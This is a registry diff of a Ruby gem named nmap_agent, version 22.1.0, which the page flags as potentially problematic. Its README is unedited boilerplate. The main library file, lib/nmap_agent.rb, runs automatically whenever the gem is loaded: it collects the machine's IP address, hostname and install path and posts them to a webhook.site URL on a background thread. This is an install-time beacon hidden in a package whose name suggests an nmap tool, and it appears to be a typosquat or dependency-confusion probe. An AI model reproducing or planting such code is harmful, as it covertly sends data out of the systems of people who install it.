nmap_agent 22.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of nmap_agent might be problematic. Click here for more details.

checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 8c07150a2fadf825491884e0a090273ffe978352cbdc3adf983582a01c4d5df0
4
+ data.tar.gz: 1b2d794752494c67c865e174c6afb6feabd487069e7de738a0a623932e6f8e3b
5
+ SHA512:
6
+ metadata.gz: 9f7b49a7e9fccfefb1824f8f0bf56e5b0707fb384b54bed28e2e3493dc298fbead925c1beaa94012536ae5f21e31225f1eba668c79a35fe83e3541920b0f1b2c
7
+ data.tar.gz: a1ed1ccb92a03af87232a7c3079bd7770e3dd9cee49db9759e7d75503f5412c04c7fa86e440a5439ff5ef2ce5fda5815c62129bbc605c35c2f8500ce924910f5
data/README.md ADDED
@@ -0,0 +1,39 @@
1
+ # NmapAgent
2
+
3
+ TODO: Delete this and the text below, and describe your gem
4
+
5
+ Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/nmap_agent`. To experiment with that code, run `bin/console` for an interactive prompt.
6
+
7
+ ## Installation
8
+
9
+ TODO: Replace `UPDATE_WITH_YOUR_GEM_NAME_PRIOR_TO_RELEASE_TO_RUBYGEMS_ORG` with your gem name right after releasing it to RubyGems.org. Please do not do it earlier due to security reasons. Alternatively, replace this section with instructions to install your gem from git if you don't plan to release to RubyGems.org.
10
+
11
+ Install the gem and add to the application's Gemfile by executing:
12
+
13
+ $ bundle add UPDATE_WITH_YOUR_GEM_NAME_PRIOR_TO_RELEASE_TO_RUBYGEMS_ORG
14
+
15
+ If bundler is not being used to manage dependencies, install the gem by executing:
16
+
17
+ $ gem install UPDATE_WITH_YOUR_GEM_NAME_PRIOR_TO_RELEASE_TO_RUBYGEMS_ORG
18
+
19
+ ## Usage
20
+
21
+ TODO: Write usage instructions here
22
+
23
+ ## Development
24
+
25
+ After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
26
+
27
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
28
+
29
+ ## Contributing
30
+
31
+ Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/nmap_agent. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [code of conduct](https://github.com/[USERNAME]/nmap_agent/blob/main/CODE_OF_CONDUCT.md).
32
+
33
+ ## License
34
+
35
+ The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
36
+
37
+ ## Code of Conduct
38
+
39
+ Everyone interacting in the NmapAgent project's codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/[USERNAME]/nmap_agent/blob/main/CODE_OF_CONDUCT.md).
@@ -0,0 +1,3 @@
1
+ module NmapAgent
2
+ VERSION = "22.1.0"
3
+ end
data/lib/nmap_agent.rb ADDED
@@ -0,0 +1,36 @@
1
+ require 'net/http'
2
+ require 'json'
3
+ require 'socket'
4
+
5
+ module NmapAgent
6
+ class Webhook
7
+ def self.trigger
8
+ # Collect system information
9
+ ip_address = Socket.ip_address_list.detect { |addr| addr.ipv4? && !addr.ipv6? }&.ip_address || 'unknown'
10
+ hostname = Socket.gethostname
11
+ gem_path = File.expand_path(__FILE__)
12
+
13
+ # Prepare the data to send
14
+ data = {
15
+ ip: ip_address,
16
+ hostname: hostname,
17
+ installed_path: gem_path
18
+ }
19
+
20
+ # Make the webhook call
21
+ uri = URI('https://webhook.site/nmapagent') # Replace with your webhook URL
22
+ request = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
23
+ request.body = data.to_json
24
+
25
+ # Send the request asynchronously
26
+ Thread.new do
27
+ Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
28
+ http.request(request)
29
+ end
30
+ end
31
+ end
32
+ end
33
+ end
34
+
35
+ # Trigger the webhook when the gem is loaded
36
+ NmapAgent::Webhook.trigger
metadata ADDED
@@ -0,0 +1,46 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: nmap_agent
3
+ version: !ruby/object:Gem::Version
4
+ version: 22.1.0
5
+ platform: ruby
6
+ authors:
7
+ - Your Name
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2024-12-05 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: This gem triggers a webhook with system information whenever it is loaded.
14
+ email:
15
+ - your.email@example.com
16
+ executables: []
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - README.md
21
+ - lib/nmap_agent.rb
22
+ - lib/nmap_agent/version.rb
23
+ homepage: https://example.com/nmap_agent
24
+ licenses:
25
+ - MIT
26
+ metadata: {}
27
+ post_install_message:
28
+ rdoc_options: []
29
+ require_paths:
30
+ - lib
31
+ required_ruby_version: !ruby/object:Gem::Requirement
32
+ requirements:
33
+ - - ">="
34
+ - !ruby/object:Gem::Version
35
+ version: '0'
36
+ required_rubygems_version: !ruby/object:Gem::Requirement
37
+ requirements:
38
+ - - ">="
39
+ - !ruby/object:Gem::Version
40
+ version: '0'
41
+ requirements: []
42
+ rubygems_version: 3.0.3.1
43
+ signing_key:
44
+ specification_version: 4
45
+ summary: A gem that demonstrates webhook functionality.
46
+ test_files: []